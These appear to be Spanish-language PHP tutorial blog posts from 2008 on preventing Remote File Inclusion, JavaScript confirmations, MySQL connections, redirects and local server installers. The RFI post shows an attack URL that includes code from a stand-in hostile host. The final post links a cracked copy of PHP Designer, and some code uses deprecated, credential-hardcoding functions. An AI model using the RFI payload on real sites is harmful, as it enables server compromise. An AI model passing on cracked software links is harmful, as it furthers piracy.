Seguridad en la Url

22-Abril-2008
En una web es sumamente importante encontrar una metodología de desarrollo que minimice en lo posible los riesgos de seguridad.  Por decir algo, existe la famosa Inclusión Remota (Remote File Inclusion), que se aprovecha del tan “inocente” error que cometen algunos programadores de utilizar como metodo de inclusión en la url “el nombre completo del archivo” (ruta, nombre, extensión), lo que facilita el trabajo a esos ociosos que solo se dedican a fastidiar.  La idea de este artículo no es hablar sobre todas las vulnerabilidades que existen en la url, más bien lo que quiero es mostrar una forma eficiente y práctica de evitarnos muchos de esos problemas.

Comenzamos aclarando que la idea es mostrar en nuestra url solo el nombre del archivo por defecto (index.php), y que los demás serán incluidos desde este, dependiendo de un valor que pasemos por la url. Para cualquier sección de nuestra web, la dirección será index.php, acompañado de un valor que identifique nuestra sección, por ejemplo

<a href=”index.php”>Inicio</a>
<a href=”index.php?s=1″>Sección 1</a>
<a href=”index.php?s=2″>Sección 2</a>
<a href=”index.php?s=3″>Sección 3</a>
<a href=”index.php?s=4″>Sección 4</a>

Ahora, para que nuestro index sepa qué página se va a incluir, simplemente recuperamos el valor de la url con $_GET, y verificamos si hay una dirección que se corresponda a ese valor, y en caso de ser positivo, se incluye el archivo de esa dirección, como a continuación:

<?php
            $sec=$_GET['s'];
            $ruta=”;
            if (empty($sec))
                        $ruta=”portada.php”;
            if ($sec==’1′)
                        $ruta=”seccion1/eventos.php”;
            if ($sec==’2′)
                        $ruta=”seccion2/recursos.php”;
            if ($sec==’3′)
                        $ruta=”seccion3/descargas.php”;
            if ($sec==’4′)
                        $ruta=”seccion4/info.php”;
            if (!empty($ruta))
                        include($ruta);
?>

En la url solo se vería cualquiera de las siguientes:

index.php
index.php?s=1
index.php?s=2
index.php?s=3
index.php?s=4

Un TREMENDO ERROR (que mencioné al principio) es cuando en nuestra página la url es de la siguiente forma:

index.php?s=descargas.php

Si trabajamos la url de esa forma, cualquier vago que ande navegando por la internet puede modificar la url y hacer algo como:

index.php?s=http://sitiohacker.com/archivo_dañino.php

Pudiendo incluir desde otro servidor un archivo con un código maligno…

Debido a esto, lo más seguro es trabajar la URL de la forma index.php?s=1, donde s=1 será sustituida por una dirección específica de la página, y asi un valor de “s” para cada sección de la página.  De esta forma nadie sabrá cual es la dirección de nuestras carpetas y subcarpetas que contienen los scripts de php


Pedir confirmación en JavaScript

12-Abril-2008
A veces tenemos en nuestro sitio web un botón o enlace que nos permite eliminar un item de una lista, por ejemplo… Resulta poco práctico pasar a otra página donde solo se va a hacer una pregunta como “Desea eliminar este item?”, para solucionar esto, creamos una función en JavaScript que nos permita confirmar en la misma página donde tenemos el enlace o botón… Quedaría de la siguiente forma:
 
Suponemos un botón:
<input type=”button” value=”Borrar” onClick=”borrar();”>
 
o un enlace:
<a href=”javascript:borrar();”>Borrar</a>
 
El Script de confirmación:
<script language=”javascript”>
  function borrar()
  { res=confirm(’Está seguro de que desea eliminar este registro?’);
  if (res==true)
  document.location.href=’borrar.php’;
  }
</script>

Conectarse desde PHP a MySql

12-Abril-2008
La forma ideal para conectarse a MySql desde PHP sería crear una función como la siguiente:
 
<?php
       function bdd()
       {       if (!$link=mysql_connect(”localhost”,”usuario”,”clave”))
               {       echo “Error al intentar conectarse al servidor”;
                        exit();
               }
               if (!mysql_select_db(”bdd”,$link))
               {       echo “Error al seleccionar base de datos”;
                        exit();
               }
               return $link;
       }
?>
 
Esto nos evitaría estar escribiendo tanto código para conectarnos en cada página donde necesitemos extraer registros de la base de datos. La implementeción sería la siguiente:
 
$c=bdd();
 
y listo! tenemos nuestro link para hacer querys. ejemplo:
 
$r=mysql_query(”select nombres,apellidos from personas order by nombres”,$c);

Redireccionar con HTML

12-Abril-2008
Redireccionar de una página a otra es una técnica bastante útil y frecuente en una sitio web. A veces necesitamos mostrar un mensaje despues que el usuario inicia login, o se equivoca introduciendo sus datos… luego de este mensaje lo enviamos a otra página… si se equivoca, lo enviamos de nuevo a la página para hacer login, pero si sus datos fueron correctos, lo enviamos a la página principal o a otra que deseemos.
 
Para redireccionar a través de HTML, usamos la etiqueta META, suministrándole la “url destino”, y el “tiempo de espera” antes de redireccionar… la sintáxis es la siguiente:
 
<META HTTP-EQUIV=”Refresh” CONTENT=”5;
URL=http://www.anjeiv.com”>
 
Estas etiquetas deben colocarse dentro de las etiquetas <head> y </head>…

El “Hola Mundo” de PHP

12-Abril-2008
El “hola mundo” de PHP… es símplemente sencillo:
<?php
echo “hola mundo”;
?>

Este pequeño código nos permite apreciar que las instrucciónes de php deben estar dentro de las etiquetas <?php y ?>. Tambien que la instrucción echo nos permite enviar salida de texto al navegador… Y como es típico de los lenguajes familia de C, la mayoría de las instrucciones terminan en punto y coma…. “;”


Php sobre Windows (forma rápida)

12-Abril-2008
La forma más óptima de instalar PHP en windows es haciéndolo todo manualmente, pero como ya he dicho anteriormente, no busco dar UN CURSO COMPLETO, así que vamos a utilizar métodos rápidos, y que nos van a ahorrar un montón de trabajo.
Si tuvieramos que instalar sobre linux, sería tan sencillo como activar los paquetes correspondientes, PERO, sobre windows necesitamos instalar unos cuantos paquetes… como APACHE, MYSQL, PHP, etc… y luego CONFIGURARLOS… y tambien instalar un gestor de bases de datos, como el PHPMYADMIN para mysql…

Para esto yo utilizo instaladores que permiten configurar a fuerza de click y colocar uno que otros datos… Deben hacer centenares de estos por internet, pero aquí les voy a listar los que yo he usado…

APPSERV
http://www.appservnetwork.com/

WAMP
http://www.wampserver.com/en/

XAMPP
http://www.apachefriends.org/en/xampp-windows.html

Debes recordar los datos que tengas que introducir en la instalación, como el nombre del usuario mysql (que por lo general es “root”), y la clave de mysql… ya que las necesitaras para acceder al servidor de base de datos.

Una vez instalado todo, se crea una carpeta específica que funcionará como servidor, para poder ejecutar nuestro PHP… Según recuerdo, en el caso de WAMP y APPSERV sería lo siguiente:

APPSERV:
c:/AppServ/www/

XAMPP:
c:/wamp/www/


PHP Designer 2008

12-Abril-2008

PHP Desginer es un editor de código con reconocimiento para PHP, ideal para aquellas personas amantes de este lenguaje. Esta es una herramienta que no puede faltar en tu colección.

http://rapidshare.com/files/106985249/PHP_Designer_2008_Crackeado.rar